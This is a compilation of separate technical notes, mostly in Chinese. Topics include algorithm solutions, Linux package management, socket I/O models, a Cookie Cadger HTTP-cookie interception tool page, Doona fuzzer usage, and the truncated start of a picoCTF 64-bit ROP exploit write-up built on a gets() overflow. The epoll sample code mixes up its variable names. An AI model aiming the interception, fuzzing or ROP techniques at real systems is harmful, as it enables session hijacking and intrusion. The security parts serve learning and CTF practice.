使用双指针可以很容易判断一个字符串是否是回文字符串:令一个指针从左到右遍历,一个指针从右到左遍历,这两个指针同时移动一个位置,每次都判断两个指针指向的字符是否相同,如果都相同,字符串才是具有左右对称性质的回文字符串。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/fcc941ec-134b-4dcd-bc86-1702fd305300.gif" width="250px"> </div><br> 本题的关键是处理删除一个字符。在使用双指针遍历字符串时,如果出现两个指针指向的字符不相等的情况,我们就试着删除一个字符,再判断删除完之后的字符串是否是回文字符串。 在判断是否为回文字符串时,我们不需要判断整个字符串,因为左指针左边和右指针右边的字符之前已经判断过具有对称性质,所以只需要判断中间的子字符串即可。 在试着删除字符时,我们既可以删除左指针指向的字符,也可以删除右指针指向的字符。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/db5f30a7-8bfa-4ecc-ab5d-747c77818964.gif" width="300px"> </div><br> ```java public boolean validPalindrome(String s) { for (int i = 0, j = s.length() - 1; i < j; i++, j--) { if (s.charAt(i) != s.charAt(j)) { return isPalindrome(s, i, j - 1) || isPalindrome(s, i + 1, j); } } return true; } private boolean isPalindrome(String s, int i, int j) { while (i < j) { if (s.charAt(i++) != s.charAt(j--)) { return false; } } return true; } ``` ## 5. 归并两个有序数组 88\. Merge Sorted Array (Easy) [Leetcode](https://leetcode.com/problems/merge-sorted-array/description/) / [力扣](https://leetcode-cn.com/problems/merge-sorted-array/description/) ```html Input: nums1 = [1,2,3,0,0,0], m = 3 nums2 = [2,5,6], n = 3 Output: [1,2,2,3,5,6] ``` 题目描述:把归并结果存到第一个数组上。 需要从尾开始遍历,否则在 nums1 上归并得到的值会覆盖还未进行归并比较的值。 ```java public void merge(int[] nums1, int m, int[] nums2, int n) { int index1 = m - 1, index2 = n - 1; int indexMerge = m + n - 1; while (index2 >= 0) { if (index1 < 0) { nums1[indexMerge--] = nums2[index2--]; } else if (index2 < 0) { nums1[indexMerge--] = nums1[index1--]; } else if (nums1[index1] > nums2[index2]) { nums1[indexMerge--] = nums1[index1--]; } else { nums1[indexMerge--] = nums2[index2--]; } } } ``` ## 6. 判断链表是否存在环 141\. Linked List Cycle (Easy) [Leetcode](https://leetcode.com/problems/linked-list-cycle/description/) / [力扣](https://leetcode-cn.com/problems/linked-list-cycle/description/) 使用双指针,一个指针每次移动一个节点,一个指针每次移动两个节点,如果存在环,那么这两个指针一定会相遇。 ```java public boolean hasCycle(ListNode head) { if (head == null) { return false; } ListNode l1 = head, l2 = head.next; while (l1 != null && l2 != null && l2.next != null) { if (l1 == l2) { return true; } l1 = l1.next; l2 = l2.next.next; } return false; } ``` ## 7. 最长子序列 524\. Longest Word in Dictionary through Deleting (Medium) [Leetcode](https://leetcode.com/problems/longest-word-in-dictionary-through-deleting/description/) / [力扣](https://leetcode-cn.com/problems/longest-word-in-dictionary-through-deleting/description/) ``` Input: s = "abpcplea", d = ["ale","apple","monkey","plea"] Output: "apple" ``` 题目描述:删除 s 中的一些字符,使得它构成字符串列表 d 中的一个字符串,找出能构成的最长字符串。如果有多个相同长度的结果,返回字典序的最小字符串。 通过删除字符串 s 中的一个字符能得到字符串 t,可以认为 t 是 s 的子序列,我们可以使用双指针来判断一个字符串是否为另一个字符串的子序列。 ```java public String findLongestWord(String s, List<String> d) { String longestWord = ""; for (String target : d) { int l1 = longestWord.length(), l2 = target.length(); if (l1 > l2 || (l1 == l2 && longestWord.compareTo(target) < 0)) { continue; } if (isSubstr(s, target)) { longestWord = target; } } return longestWord; } private boolean isSubstr(String s, String target) { int i = 0, j = 0; while (i < s.length() && j < target.length()) { if (s.charAt(i) == target.charAt(j)) { j++; } i++; } return j == target.length(); } ```
sec-knowleage
--- title: Cookie Cadger categories: Information Gathering tags: [cookie cadger,information gathering,spoofing,sniffing,kali linux] date: 2016-10-19 15:26:49 --- 0x00 Cookie Cadger介绍 ------------- Cookie Cadger有助于识别使用不安全HTTP GET请求应用程序中的泄漏的信息。 自2010年Firesheep发布以来,网络提供商已开始逐步升级。如今,大多数主要网站可以在都在使用SSL/TLS协议,防止Cookie数据通过有线以太网或不安全的Wi-Fi泄漏。但实际上是,Firesheep更多的只是一个玩具,而不是一个工具。 Cookie Cadger是第一个用于拦截和重放特定的不安全的HTTP GET请求到浏览器中的开源渗透测试工具。 Cookie Cadgers请求枚举功能 Cookie Cadger是一个图形实用程序,利用Wireshark套件和Java的强大功能提供一个完全跨平台,完全开源的实用程序,可以监视有线以太网,不安全的Wi-Fi或加载数据包捕获文件进行离线分析。 工具来源:https://www.cookiecadger.com/ [Cookie Cadger主页][1] | [Kali Cookie Cadger Repo仓库][2] - 作者:Matthew Sullivan - 证书:FreeBSD 0x01 Cookie Cadger功能 --------------- cdpsnarf - 有线和无线网络的Cookie工具 ```shell root@kali:~# cookie-cadger --help Cookie Cadger, version 1.07 用法示例: java -jar CookieCadger.jar --tshark=/usr/sbin/tshark --headless=on --interfacenum=2 (需要设置 --headless=on) --detection=on --demo=on --update=on --dbengine=mysql (对于基于本地存储的文件,默认值为'sqlite') --dbhost=localhost (需要设置 --dbengine=mysql) --dbuser=user (需要设置 --dbengine=mysql) --dbpass=pass (需要设置 --dbengine=mysql) --dbname=cadgerdata (需要设置 --dbengine=mysql)     --dbrefreshrate=15 (以秒为单位,需要设置 --dbengine=mysql,需要设置 --headless=off) ``` 0x02 Cookie Cadger用法示例 ----------------- ```shell root@kali:~# cookie-cadger ``` ![cookie-cadger.png][3] 0x03 说明 ------- 最新版本的Kali已经移除了Cookie Cadger,你可以使用以下命令获取并安装: ```shell root@kali:~# wget https://www.cookiecadger.com/files/CookieCadger-1.08.jar root@kali:~# chmod +x CookieCadger-1.08.jar root@kali:~# mv CookieCadger-1.08.jar /usr/bin/ ``` 推荐Cookie Cadger官方说明文档:[An Auditing Tool for Wi-Fi or Wired Ethernet Connections][4] [1]: https://www.cookiecadger.com/ [2]: http://git.kali.org/gitweb/?p=packages/cookie-cadger.git;a=summary [3]: https://www.hackfun.org/usr/uploads/2016/10/4222776969.png [4]: https://www.cookiecadger.com/wp-content/uploads/Cookie%20Cadger.pdf
sec-knowleage
dnf === 新一代的RPM软件包管理器 ## 补充说明 **DNF** 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近,它取代了yum,正式成为 Fedora 22 的包管理器。 DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。 DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日。 这一版本的 DNF 包管理器(包括在他之前的所有版本) 都大部分采用 Python 编写,发行许可为GPL v2. ### 安装 DNF 包管理器 DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经默认使用 DNF . 1、为了安装 DNF ,您必须先安装并启用 epel-release 依赖。 在系统中执行以下命令: ```shell yum install epel-release ``` 或者 ```shell yum install epel-release -y ``` 其实这里并没有强制使用”-y”的理由,相反的,在不使用”-y”的情况下,用户可以在安装过程中查看到底有哪些东西被安装进了系统。但对于没有这个需求的用户,您可以在 YUM 中使用”-y”参数来自动安装所有东西。 2、使用 epel-release 依赖中的 YUM 命令来安装 DNF 包。在系统中执行以下命令: ```shell yum install dnf ``` 然后, DNF 包管理器就被成功的安装到你的系统中了。接下来,是时候开始我们的教程了!在这个教程中,您将会学到27个用于 DNF 包管理器的命令。使用这些命令,你可以方便有效的管理您系统中的 RPM 软件包。现在,让我们开始学习 DNF 包管理器的27条常用命令吧! **查看 DNF 包管理器版本** 用处:该命令用于查看安装在您系统中的 DNF 包管理器的版本 ```shell dnf –version ``` !Check-DNF-Version **查看系统中可用的 DNF 软件库** 用处:该命令用于显示系统中可用的 DNF 软件库 ```shell dnf repolist ``` **查看系统中可用和不可用的所有的 DNF 软件库** 用处:该命令用于显示系统中可用和不可用的所有的 DNF 软件库 ```shell dnf repolist all ``` **列出所有 RPM 包** 用处:该命令用于列出用户系统上的所有来自软件库的可用软件包和所有已经安装在系统上的软件包 ```shell dnf list ``` **列出所有安装了的 RPM 包** 用处:该命令用于列出所有安装了的 RPM 包 ```shell dnf list installed ``` **列出所有可供安装的 RPM 包** 用处:该命令用于列出来自所有可用软件库的可供安装的软件包 ```shell dnf list available ``` **搜索软件库中的 RPM 包** 用处:当你不知道你想要安装的软件的准确名称时,你可以用该命令来搜索软件包。你需要在”search”参数后面键入软件的部分名称来搜索。(在本例中我们使用”nano”) ```shell dnf search nano ``` **查找某一文件的提供者** 用处:当你想要查看是哪个软件包提供了系统中的某一文件时,你可以使用这条命令。(在本例中,我们将查找”/bin/bash”这个文件的提供者) ```shell dnf provides /bin/bash ``` **查看软件包详情** 用处:当你想在安装某一个软件包之前查看它的详细信息时,这条命令可以帮到你。(在本例中,我们将查看”nano”这一软件包的详细信息) ```shell dnf info nano ``` **安装软件包** 用处:使用该命令,系统将会自动安装对应的软件及其所需的所有依赖(在本例中,我们将用该命令安装nano软件) ```shell dnf install nano ``` **升级软件包** 用处:该命令用于升级制定软件包(在本例中,我们将用命令升级”systemd”这一软件包) ```shell dnf update systemd ``` **检查系统软件包的更新** 用处:该命令用于检查系统中所有软件包的更新 ```shell dnf check-update ``` **升级所有系统软件包** 用处:该命令用于升级系统中所有有可用升级的软件包 ```shell dnf update 或 dnf upgrade ``` **删除软件包** 用处:删除系统中指定的软件包(在本例中我们将使用命令删除”nano”这一软件包) ```shell dnf remove nano 或 dnf erase nano ``` **删除无用孤立的软件包** 用处:当没有软件再依赖它们时,某一些用于解决特定软件依赖的软件包将会变得没有存在的意义,该命令就是用来自动移除这些没用的孤立软件包。 ```shell dnf autoremove ``` **删除缓存的无用软件包** 用处:在使用 DNF 的过程中,会因为各种原因在系统中残留各种过时的文件和未完成的编译工程。我们可以使用该命令来删除这些没用的垃圾文件。 ```shell dnf clean all ``` **获取有关某条命令的使用帮助** 用处:该命令用于获取有关某条命令的使用帮助(包括可用于该命令的参数和该命令的用途说明)(本例中我们将使用命令获取有关命令”clean”的使用帮助) ```shell dnf help clean ``` **查看所有的 DNF 命令及其用途** 用处:该命令用于列出所有的 DNF 命令及其用途 ```shell dnf help ``` **查看 DNF 命令的执行历史** 用处:您可以使用该命令来查看您系统上 DNF 命令的执行历史。通过这个手段您可以知道在自您使用 DNF 开始有什么软件被安装和卸载。 ```shell dnf history ``` **查看所有的软件包组** 用处:该命令用于列出所有的软件包组 ```shell dnf grouplist ``` **安装一个软件包组** 用处:该命令用于安装一个软件包组(本例中,我们将用命令安装”Educational Software”这个软件包组) ```shell dnf groupinstall ‘Educational Software’ ``` **升级一个软件包组中的软件包** 用处:该命令用于升级一个软件包组中的软件包(本例中,我们将用命令升级”Educational Software”这个软件包组中的软件) ```shell dnf groupupdate ‘Educational Software’ ``` **删除一个软件包组** 用处:该命令用于删除一个软件包组(本例中,我们将用命令删除”Educational Software”这个软件包组) ```shell dnf groupremove ‘Educational Software’ ``` **从特定的软件包库安装特定的软件** 用处:该命令用于从特定的软件包库安装特定的软件(本例中我们将使用命令从软件包库 epel 中安装 phpmyadmin 软件包) ```shell dnf –enablerepo=epel install phpmyadmin ``` **更新软件包到最新的稳定发行版** 用处:该命令可以通过所有可用的软件源将已经安装的所有软件包更新到最新的稳定发行版 ```shell dnf distro-sync ``` **重新安装特定软件包** 用处:该命令用于重新安装特定软件包(本例中,我们将使用命令重新安装”nano”这个软件包) ```shell dnf reinstall nano ``` **回滚某个特定软件的版本** 用处:该命令用于降低特定软件包的版本(如果可能的话)(本例中,我们将使用命令降低”acpid”这个软件包的版本) ```shell dnf downgrade acpid ``` 样例输出: ```shell Using metadata from Wed May 20 12:44:59 2015 No match for available package: acpid-2.0.19-5.el7.x86_64 Error: Nothing to do. ``` 原作者注:在执行这条命令的时候, DNF 并没有按照我期望的那样降级指定的软件(“acpid”)。该问题已经上报。 ### 总结 DNF 包管理器作为 YUM 包管理器的升级替代品,它能自动完成更多的操作。但在我看来,正因如此,所以 DNF 包管理器不会太受那些经验老道的 Linux 系统管理者的欢迎。举例如下: 1. 在 DNF 中没有 –skip-broken 命令,并且没有替代命令供选择。 2. 在 DNF 中没有判断哪个包提供了指定依赖的 resolvedep 命令。 3. 在 DNF 中没有用来列出某个软件依赖包的 deplist 命令。 4. 当你在 DNF 中排除了某个软件库,那么该操作将会影响到你之后所有的操作,不像在 YUM 下那样,你的排除操作只会咋升级和安装软件时才起作用。
sec-knowleage
--- title: 关于作者 --- ## 关于作者 使用 `about` 命令可以查看到我的介绍信息。 ```bash cf about ``` <img width="1000" src="/img/1656645939.png"><br> 最后既然师傅你都看到这里了,给 [CF](https://github.com/teamssix/cf) 赏个 Star 不过分吧,嘿嘿 ~ <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年7月1日" } } </script>
sec-knowleage
# 基于数据的代理通信检测 本篇主要是在海量数据(从流量到告警)的情况下,研究如何识别总体的代理行为,以及对单个攻击者或普通用户代理能力的识别与评估。 ## 研究综述 ## Tor 基于云流量混淆的Tor匿名通信识别方法, 何永忠, 李响, 陈美玲, 王伟, http://jsuese.ijournals.cn/html/2017/2/201601020.html ## 科学上网类型检测
sec-knowleage
""" WSGI config for CVE20209402 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'CVE20209402.settings') application = get_wsgi_application()
sec-knowleage
# Socket <!-- GFM-TOC --> * [Socket](#socket) * [一、I/O 模型](#一io-模型) * [阻塞式 I/O](#阻塞式-io) * [非阻塞式 I/O](#非阻塞式-io) * [I/O 复用](#io-复用) * [信号驱动 I/O](#信号驱动-io) * [异步 I/O](#异步-io) * [五大 I/O 模型比较](#五大-io-模型比较) * [二、I/O 复用](#二io-复用) * [select](#select) * [poll](#poll) * [比较](#比较) * [epoll](#epoll) * [工作模式](#工作模式) * [应用场景](#应用场景) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 一、I/O 模型 一个输入操作通常包括两个阶段: - 等待数据准备好 - 从内核向进程复制数据 对于一个套接字上的输入操作,第一步通常涉及等待数据从网络中到达。当所等待数据到达时,它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。 Unix 有五种 I/O 模型: - 阻塞式 I/O - 非阻塞式 I/O - I/O 复用(select 和 poll) - 信号驱动式 I/O(SIGIO) - 异步 I/O(AIO) ### 阻塞式 I/O 应用进程被阻塞,直到数据从内核缓冲区复制到应用进程缓冲区中才返回。 应该注意到,在阻塞的过程中,其它应用进程还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其它应用进程还可以执行,所以不消耗 CPU 时间,这种模型的 CPU 利用率会比较高。 下图中,recvfrom() 用于接收 Socket 传来的数据,并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。 ```c ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen); ``` <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1492928416812_4.png"/> </div><br> ### 非阻塞式 I/O 应用进程执行系统调用之后,内核返回一个错误码。应用进程可以继续执行,但是需要不断的执行系统调用来获知 I/O 是否完成,这种方式称为轮询(polling)。 由于 CPU 要处理更多的系统调用,因此这种模型的 CPU 利用率比较低。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1492929000361_5.png"/> </div><br> ### I/O 复用 使用 select 或者 poll 等待数据,并且可以等待多个套接字中的任何一个变为可读。这一过程会被阻塞,当某一个套接字可读时返回,之后再使用 recvfrom 把数据从内核复制到进程中。 它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O,即事件驱动 I/O。 如果一个 Web 服务器没有 I/O 复用,那么每一个 Socket 连接都需要创建一个线程去处理。如果同时有几万个连接,那么就需要创建相同数量的线程。相比于多进程和多线程技术,I/O 复用不需要进程线程创建和切换的开销,系统开销更小。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1492929444818_6.png"/> </div><br> ### 信号驱动 I/O 应用进程使用 sigaction 系统调用,内核立即返回,应用进程可以继续执行,也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号,应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。 相比于非阻塞式 I/O 的轮询方式,信号驱动 I/O 的 CPU 利用率更高。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1492929553651_7.png"/> </div><br> ### 异步 I/O 应用进程执行 aio_read 系统调用会立即返回,应用进程可以继续执行,不会被阻塞,内核会在所有操作完成之后向应用进程发送信号。 异步 I/O 与信号驱动 I/O 的区别在于,异步 I/O 的信号是通知应用进程 I/O 完成,而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1492930243286_8.png"/> </div><br> ### 五大 I/O 模型比较 - 同步 I/O:将数据从内核缓冲区复制到应用进程缓冲区的阶段(第二阶段),应用进程会阻塞。 - 异步 I/O:第二阶段应用进程不会阻塞。 同步 I/O 包括阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O ,它们的主要区别在第一个阶段。 非阻塞式 I/O 、信号驱动 I/O 和异步 I/O 在第一阶段不会阻塞。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1492928105791_3.png"/> </div><br> ## 二、I/O 复用 select/poll/epoll 都是 I/O 多路复用的具体实现,select 出现的最早,之后是 poll,再是 epoll。 ### select ```c int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); ``` select 允许应用程序监视一组文件描述符,等待一个或者多个描述符成为就绪状态,从而完成 I/O 操作。 - fd_set 使用数组实现,数组大小使用 FD_SETSIZE 定义,所以只能监听少于 FD_SETSIZE 数量的描述符。有三种类型的描述符类型:readset、writeset、exceptset,分别对应读、写、异常条件的描述符集合。 - timeout 为超时参数,调用 select 会一直阻塞直到有描述符的事件到达或者等待的时间超过 timeout。 - 成功调用返回结果大于 0,出错返回结果为 -1,超时返回结果为 0。 ```c fd_set fd_in, fd_out; struct timeval tv; // Reset the sets FD_ZERO( &fd_in ); FD_ZERO( &fd_out ); // Monitor sock1 for input events FD_SET( sock1, &fd_in ); // Monitor sock2 for output events FD_SET( sock2, &fd_out ); // Find out which socket has the largest numeric value as select requires it int largest_sock = sock1 > sock2 ? sock1 : sock2; // Wait up to 10 seconds tv.tv_sec = 10; tv.tv_usec = 0; // Call the select int ret = select( largest_sock + 1, &fd_in, &fd_out, NULL, &tv ); // Check if select actually succeed if ( ret == -1 ) // report error and abort else if ( ret == 0 ) // timeout; no event detected else { if ( FD_ISSET( sock1, &fd_in ) ) // input event on sock1 if ( FD_ISSET( sock2, &fd_out ) ) // output event on sock2 } ``` ### poll ```c int poll(struct pollfd *fds, unsigned int nfds, int timeout); ``` poll 的功能与 select 类似,也是等待一组描述符中的一个成为就绪状态。 poll 中的描述符是 pollfd 类型的数组,pollfd 的定义如下: ```c struct pollfd { int fd; /* file descriptor */ short events; /* requested events */ short revents; /* returned events */ }; ``` ```c // The structure for two events struct pollfd fds[2]; // Monitor sock1 for input fds[0].fd = sock1; fds[0].events = POLLIN; // Monitor sock2 for output fds[1].fd = sock2; fds[1].events = POLLOUT; // Wait 10 seconds int ret = poll( &fds, 2, 10000 ); // Check if poll actually succeed if ( ret == -1 ) // report error and abort else if ( ret == 0 ) // timeout; no event detected else { // If we detect the event, zero it out so we can reuse the structure if ( fds[0].revents & POLLIN ) fds[0].revents = 0; // input event on sock1 if ( fds[1].revents & POLLOUT ) fds[1].revents = 0; // output event on sock2 } ``` ### 比较 #### 1. 功能 select 和 poll 的功能基本相同,不过在一些实现细节上有所不同。 - select 会修改描述符,而 poll 不会; - select 的描述符类型使用数组实现,FD_SETSIZE 大小默认为 1024,因此默认只能监听少于 1024 个描述符。如果要监听更多描述符的话,需要修改 FD_SETSIZE 之后重新编译;而 poll 没有描述符数量的限制; - poll 提供了更多的事件类型,并且对描述符的重复利用上比 select 高。 - 如果一个线程对某个描述符调用了 select 或者 poll,另一个线程关闭了该描述符,会导致调用结果不确定。 #### 2. 速度 select 和 poll 速度都比较慢,每次调用都需要将全部描述符从应用进程缓冲区复制到内核缓冲区。 #### 3. 可移植性 几乎所有的系统都支持 select,但是只有比较新的系统支持 poll。 ### epoll ```c int epoll_create(int size); int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event); int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout); ``` epoll_ctl() 用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理,进程调用 epoll_wait() 便可以得到事件完成的描述符。 从上面的描述可以看出,epoll 只需要将描述符从进程缓冲区向内核缓冲区拷贝一次,并且进程不需要通过轮询来获得事件完成的描述符。 epoll 仅适用于 Linux OS。 epoll 比 select 和 poll 更加灵活而且没有描述符数量限制。 epoll 对多线程编程更有友好,一个线程调用了 epoll_wait() 另一个线程关闭了同一个描述符也不会产生像 select 和 poll 的不确定情况。 ```c // Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets. // The function argument is ignored (it was not before, but now it is), so put your favorite number here int pollingfd = epoll_create( 0xCAFE ); if ( pollingfd < 0 ) // report error // Initialize the epoll structure in case more members are added in future struct epoll_event ev = { 0 }; // Associate the connection class instance with the event. You can associate anything // you want, epoll does not use this information. We store a connection class pointer, pConnection1 ev.data.ptr = pConnection1; // Monitor for input, and do not automatically rearm the descriptor after the event ev.events = EPOLLIN | EPOLLONESHOT; // Add the descriptor into the monitoring list. We can do it even if another thread is // waiting in epoll_wait - the descriptor will be properly added if ( epoll_ctl( epollfd, EPOLL_CTL_ADD, pConnection1->getSocket(), &ev ) != 0 ) // report error // Wait for up to 20 events (assuming we have added maybe 200 sockets before that it may happen) struct epoll_event pevents[ 20 ]; // Wait for 10 seconds, and retrieve less than 20 epoll_event and store them into epoll_event array int ready = epoll_wait( pollingfd, pevents, 20, 10000 ); // Check if epoll actually succeed if ( ret == -1 ) // report error and abort else if ( ret == 0 ) // timeout; no event detected else { // Check if any events detected for ( int i = 0; i < ready; i++ ) { if ( pevents[i].events & EPOLLIN ) { // Get back our connection pointer Connection * c = (Connection*) pevents[i].data.ptr; c->handleReadEvent(); } } } ``` ### 工作模式 epoll 的描述符事件有两种触发模式:LT(level trigger)和 ET(edge trigger)。 #### 1. LT 模式 当 epoll_wait() 检测到描述符事件到达时,将此事件通知进程,进程可以不立即处理该事件,下次调用 epoll_wait() 会再次通知进程。是默认的一种模式,并且同时支持 Blocking 和 No-Blocking。 #### 2. ET 模式 和 LT 模式不同的是,通知之后进程必须立即处理事件,下次再调用 epoll_wait() 时不会再得到事件到达的通知。 很大程度上减少了 epoll 事件被重复触发的次数,因此效率要比 LT 模式高。只支持 No-Blocking,以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。 ### 应用场景 很容易产生一种错觉认为只要用 epoll 就可以了,select 和 poll 都已经过时了,其实它们都有各自的使用场景。 #### 1. select 应用场景 select 的 timeout 参数精度为微秒,而 poll 和 epoll 为毫秒,因此 select 更加适用于实时性要求比较高的场景,比如核反应堆的控制。 select 可移植性更好,几乎被所有主流平台所支持。 #### 2. poll 应用场景 poll 没有最大描述符数量的限制,如果平台支持并且对实时性要求不高,应该使用 poll 而不是 select。 #### 3. epoll 应用场景 只需要运行在 Linux 平台上,有大量的描述符需要同时轮询,并且这些连接最好是长连接。 需要同时监控小于 1000 个描述符,就没有必要使用 epoll,因为这个应用场景下并不能体现 epoll 的优势。 需要监控的描述符状态变化多,而且都是非常短暂的,也没有必要使用 epoll。因为 epoll 中的所有描述符都存储在内核中,造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用,频繁系统调用降低效率。并且 epoll 的描述符存储在内核,不容易调试。 ## 参考资料 - Stevens W R, Fenner B, Rudoff A M. UNIX network programming[M]. Addison-Wesley Professional, 2004. - http://man7.org/linux/man-pages/man2/select.2.html - http://man7.org/linux/man-pages/man2/poll.2.html - [Boost application performance using asynchronous I/O](https://www.ibm.com/developerworks/linux/library/l-async/) - [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx) - [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859) - [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html) - [select / poll / epoll: practical difference for system architects](http://www.ulduzsoft.com/2014/01/select-poll-epoll-practical-difference-for-system-architects/) - [Browse the source code of userspace/glibc/sysdeps/unix/sysv/linux/ online](https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/)
sec-knowleage
# 29. 顺时针打印矩阵 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/9b4c81a02cd34f76be2659fa0d54342a?tpId=13&tqId=11172&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 按顺时针的方向,从外到里打印矩阵的值。下图的矩阵打印结果为:1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20201104010349296.png" width="300px"> </div><br> ## 解题思路 一层一层从外到里打印,观察可知每一层打印都有相同的处理步骤,唯一不同的是上下左右的边界不同了。因此使用四个变量 r1, r2, c1, c2 分别存储上下左右边界值,从而定义当前最外层。打印当前最外层的顺序:从左到右打印最上一行-\>从上到下打印最右一行-\>从右到左打印最下一行-\>从下到上打印最左一行。应当注意只有在 r1 != r2 时才打印最下一行,也就是在当前最外层的行数大于 1 时才打印最下一行,这是因为当前最外层只有一行时,继续打印最下一行,会导致重复打印。打印最左一行也要做同样处理。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20201104010609223.png" width="500px"> </div><br> ```java public ArrayList<Integer> printMatrix(int[][] matrix) { ArrayList<Integer> ret = new ArrayList<>(); int r1 = 0, r2 = matrix.length - 1, c1 = 0, c2 = matrix[0].length - 1; while (r1 <= r2 && c1 <= c2) { // 上 for (int i = c1; i <= c2; i++) ret.add(matrix[r1][i]); // 右 for (int i = r1 + 1; i <= r2; i++) ret.add(matrix[i][c2]); if (r1 != r2) // 下 for (int i = c2 - 1; i >= c1; i--) ret.add(matrix[r2][i]); if (c1 != c2) // 左 for (int i = r2 - 1; i > r1; i--) ret.add(matrix[i][c1]); r1++; r2--; c1++; c2--; } return ret; } ```
sec-knowleage
## Doona简介 Doona是Bruteforce Detector Tool(BED)的开源实现。BED是用来检测潜在缓冲区溢出,字符串处理异常等问题的工具。 Doona在澳大利亚是棉被的意思。他为BED加入了很多非常有用的功能,并改进了BED功能。 源代码: [https://github.com/wireghoul/doona](https://github.com/wireghoul/doona "") [Doona主页](https://github.com/wireghoul/doona "") | [Kali Doona仓库](http://git.kali.org/gitweb/?p=packages/doona.git;a=summary "") 作者: Eldar Marcussen aka wireghoul 开源协议: GPLv2 Doona包中的工具 doona – BED的开源版本 ``` root@kali:~# doona -h Doona 1.0 by Wireghoul (www.justanotherhacker.com) Usage: ./doona.pl -m [module] <options> -m <module> = DICT/FINGER/FTP/HTTP/IMAP/IRC/LPD/NNTP/PJL/POP/PROXY/RTSP/SMTP/SOCKS4/SOCKS5/TFTP/WHOIS -c <int> = Execute a health check after every <int> fuzz cases -t <target> = Host to check (default: localhost) -p <port> = Port to connect to (default: module specific standard port) -o <timeout> = seconds to wait after each test (default: 2 seconds) -r <index> = Resumes fuzzing at test case index -k = Keep trying until server passes a health check -d = Dump test case to stdout (use in combination with -r) -M <num> = Exit after executing <num> number of fuzz cases -h = Help (this text) use "./doona.pl -m [module] -h" for module specific option. Only -m is a mandatory switch. ``` ### doona使用范例 使用HTTP工具 (-m HTTP)对(-t 192.168.1.15)进行模糊测试, 每5个目标(-M 5)暂停一次: ``` root@kali:~# doona -m HTTP -t 192.168.1.15 -M 5 Doona 1.0 by Wireghoul (www.justanotherhacker.com) + Buffer overflow testing 1/37 [XAXAX] ...... Max requests (5) completed, index: 5 ```
sec-knowleage
# rop64 Binary Exploitation, 400 points ## Description: > Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 16 void vuln() { char buf[16]; printf("Can you ROP your way out of this?\n"); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); } ``` ## Solution: This is the follow-up for [rop32](rop32.md) and is solved using the same strategy (using ROPGadget to generate a ROP chain). ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/rop64_1_3a135066aff0c433faf93765baaa584d/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: No PIE (0x400000) import os from struct import pack if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) def send_payload(proc, payload): proc.sendlineafter("Can you ROP your way out of this?", payload) def get_overflow_offset(): # 